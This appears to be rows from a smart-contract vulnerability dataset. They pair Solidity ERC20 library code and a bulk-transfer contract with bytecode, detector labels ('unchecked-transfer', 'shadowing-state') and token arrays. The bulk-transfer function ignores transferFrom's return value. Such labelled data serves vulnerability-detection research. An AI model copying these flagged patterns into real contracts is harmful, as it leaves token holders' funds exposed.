function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./ERC20.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
| 0x608060405234801561001057600080fd5b50600436106100935760003560e01c806393ddde531161006657806393ddde5314610276578063ac7475ed146102ba578063ef6688df146102fe578063ef7790c014610498578063f2fde38b146104dc57610093565b80632236049c146100985780635b060530146100dc578063715018a6146102385780638da5cb5b14610242575b600080fd5b6100da600480360360208110156100ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610520565b005b610236600480360360608110156100f257600080fd5b810190808035906020019064010000000081111561010f57600080fd5b82018360208201111561012157600080fd5b8035906020019184600183028401116401000000008311171561014357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156101a657600080fd5b8201836020820111156101b857600080fd5b803590602001918460018302840111640100000000831117156101da57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610660565b005b610240610676565b005b61024a6107e3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102b86004803603602081101561028c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061080c565b005b6102fc600480360360208110156102d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061094c565b005b610496600480360360e081101561031457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561035157600080fd5b82018360208201111561036357600080fd5b8035906020019184600183028401116401000000008311171561038557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156103e857600080fd5b8201836020820111156103fa57600080fd5b8035906020019184600183028401116401000000008311171561041c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190803590602001909291908035906020019092919080359060200190929190505050610a8c565b005b6104da600480360360208110156104ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa4565b005b61051e600480360360208110156104f257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610be4565b005b610528610dd6565b73ffffffffffffffffffffffffffffffffffffffff166105466107e3565b73ffffffffffffffffffffffffffffffffffffffff16146105cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f054d9010b5a09a131c257bcddf320a981caccd4e7a2b3ec4157b131bb76dacb681604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b610671338484600085866003610dde565b505050565b61067e610dd6565b73ffffffffffffffffffffffffffffffffffffffff1661069c6107e3565b73ffffffffffffffffffffffffffffffffffffffff1614610725576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610814610dd6565b73ffffffffffffffffffffffffffffffffffffffff166108326107e3565b73ffffffffffffffffffffffffffffffffffffffff16146108bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f6faf9c8409e96afc6873a05db3e0fa90dcd901c2d422a2e60f62403f7ebc5c3681604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b610954610dd6565b73ffffffffffffffffffffffffffffffffffffffff166109726107e3565b73ffffffffffffffffffffffffffffffffffffffff16146109fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fff936929f68b51b2ddfe0c6fcc3e9c817996ae17a98869dd0754af1323f101ee81604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b610a9b87878787878787610dde565b50505050505050565b610aac610dd6565b73ffffffffffffffffffffffffffffffffffffffff16610aca6107e3565b73ffffffffffffffffffffffffffffffffffffffff1614610b53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f48092053171021acc2a02522162ed55ec19d4d1f1c08944dc02bcf0b8cfd2b6181604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b610bec610dd6565b73ffffffffffffffffffffffffffffffffffffffff16610c0a6107e3565b73ffffffffffffffffffffffffffffffffffffffff1614610c93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d19576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806112b66026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b6000610e0b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166111ad565b90508073ffffffffffffffffffffffffffffffffffffffff1663b9738d0d88888b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168d8d8d6040518b63ffffffff1660e01b81526004018080602001806020018b73ffffffffffffffffffffffffffffffffffffffff1681526020018a73ffffffffffffffffffffffffffffffffffffffff1681526020018973ffffffffffffffffffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff16815260200186815260200185815260200184815260200183810383528d818151815260200191508051906020019080838360005b83811015610fac578082015181840152602081019050610f91565b50505050905090810190601f168015610fd95780820380516001836020036101000a031916815260200191505b5083810382528c818151815260200191508051906020019080838360005b83811015611012578082015181840152602081019050610ff7565b50505050905090810190601f16801561103f5780820380516001836020036101000a031916815260200191505b509c50505050505050505050505050600060405180830381600087803b15801561106857600080fd5b505af115801561107c573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636590cba1828a856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561113157600080fd5b505af1158015611145573d6000803e3d6000fd5b505050508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f62ec089d6c661de888091dd8fd0550160f8a27e337ad3f847b01a94d7064207f60405160405180910390a35050505050505050565b60006040517f3d602d80600a3d3981f3363d3d373d3d3d363d7300000000000000000000000081528260601b60148201527f5af43d82803e903d91602b57fd5bf3000000000000000000000000000000000060288201526037816000f0915050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f455243313136373a20637265617465206661696c65640000000000000000000081525060200191505060405180910390fd5b91905056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220726f8eedc8b994513cb33cc9d923ac63402f12e619c35e5b736797a93f23f39864736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
27009,
19797,
4402,
2581,
3207,
2546,
2683,
2575,
2509,
2063,
2575,
22407,
28756,
2692,
2509,
2278,
2546,
2692,
2050,
2620,
2278,
2683,
2094,
16086,
29292,
2581,
2683,
2581,
2509,
2050,
2475,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
1013,
1008,
1008,
9385,
1006,
1039,
1007,
25682,
16985,
2102,
1047,
1012,
1047,
1012,
1008,
1008,
2023,
2565,
2003,
2489,
4007,
1024,
2017,
2064,
2417,
2923,
3089,
8569,
2618,
2009,
1998,
1013,
2030,
19933,
1008,
2009,
2104,
1996,
3408,
1997,
1996,
27004,
2236,
2270,
6105,
2004,
2405,
2011,
1008,
1996,
2489,
4007,
3192,
1010,
2593,
2544,
1017,
1997,
1996,
6105,
1010,
2030,
1008,
1006,
2012,
2115,
5724,
1007,
2151,
2101,
2544,
1012,
1008,
1008,
2023,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,533 | 0x954dc7efd3f7b5bc5a8e641ad00f1e48797b2f2d | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
interface Token{
function transferOwnership(address newOwner) external;
function stop() external;
function start() external;
function close() external;
function decimals() external view returns(uint256);
function symbol() external view returns(string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function mint( address to, uint256 value ) external returns (bool);
function increaseApproval(address _spender, uint _addedValue) external returns (bool);
function decreaseApproval(address _spender, uint _subtractedValue) external returns (bool);
function burn(uint256 _value) external;
function burnTokens(address who,uint256 _value) external;
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor(){
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract DynamicBulkTransfer is Ownable{
uint256 commissionPercentage; //10^2
address commissionAddress;
using SafeMath for uint256;
function getCommisionAddress() public view returns(address){
return commissionAddress;
}
function getCommissionPercentage() public view returns(uint256){
return commissionPercentage;
}
function updateCommissionAddress(address _commissionAddress) public onlyOwner {
commissionAddress = _commissionAddress;
}
function updateComssionPercentage(uint256 _commissionPercentage) public onlyOwner {
commissionPercentage = _commissionPercentage;
}
// bulktransfer method
function makeTransfer(address payable[] memory addressArray, uint256[] memory amountArray, address contactAddress) public{
require(addressArray.length != 0, "No address found");
require(amountArray.length != 0 , "No amounts found");
require(addressArray.length == amountArray.length, "addresses and amount array length should be same");
uint256 amountTotal;
for(uint256 i=0; i<amountArray.length;i++){
amountTotal = amountTotal.add(amountArray[i]);
}
uint256 commissionForAdmin = (commissionPercentage.mul(amountTotal)).div(10000);
Token tokenInstance= Token(contactAddress);
for(uint i=0;i<addressArray.length;i++){
require(tokenInstance.allowance(msg.sender,address(this))>=amountArray[i],'Insufficient allowance.');
require(tokenInstance.balanceOf(msg.sender)>=amountArray[i],'Owner has insufficient token balance.');
tokenInstance.transferFrom(msg.sender, addressArray[i],amountArray[i]);
}
require(tokenInstance.allowance(msg.sender,address(this))>=commissionForAdmin,'Insufficient allowance.');
require(tokenInstance.balanceOf(msg.sender)>=commissionForAdmin,'Owner has insufficient token balance.');
tokenInstance.transferFrom(msg.sender, commissionAddress,commissionForAdmin);
}
} | 0x608060405234801561001057600080fd5b506004361061007d5760003560e01c80639586115d1161005b5780639586115d146101285780639c06a5e814610294578063a5dbd814146102c8578063f2fde38b146102e65761007d565b80635fdacd78146100825780636503442e146100b05780638da5cb5b146100f4575b600080fd5b6100ae6004803603602081101561009857600080fd5b810190808035906020019092919050505061032a565b005b6100f2600480360360208110156100c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061038c565b005b6100fc610428565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102926004803603606081101561013e57600080fd5b810190808035906020019064010000000081111561015b57600080fd5b82018360208201111561016d57600080fd5b8035906020019184602083028401116401000000008311171561018f57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156101ef57600080fd5b82018360208201111561020157600080fd5b8035906020019184602083028401116401000000008311171561022357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061044c565b005b61029c610c93565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102d0610cbd565b6040518082815260200191505060405180910390f35b610328600480360360208110156102fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cc7565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461038257600080fd5b8060018190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103e457600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000835114156104c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4e6f206164647265737320666f756e640000000000000000000000000000000081525060200191505060405180910390fd5b60008251141561053c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4e6f20616d6f756e747320666f756e640000000000000000000000000000000081525060200191505060405180910390fd5b8151835114610596576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180611035603091396040019150506040518091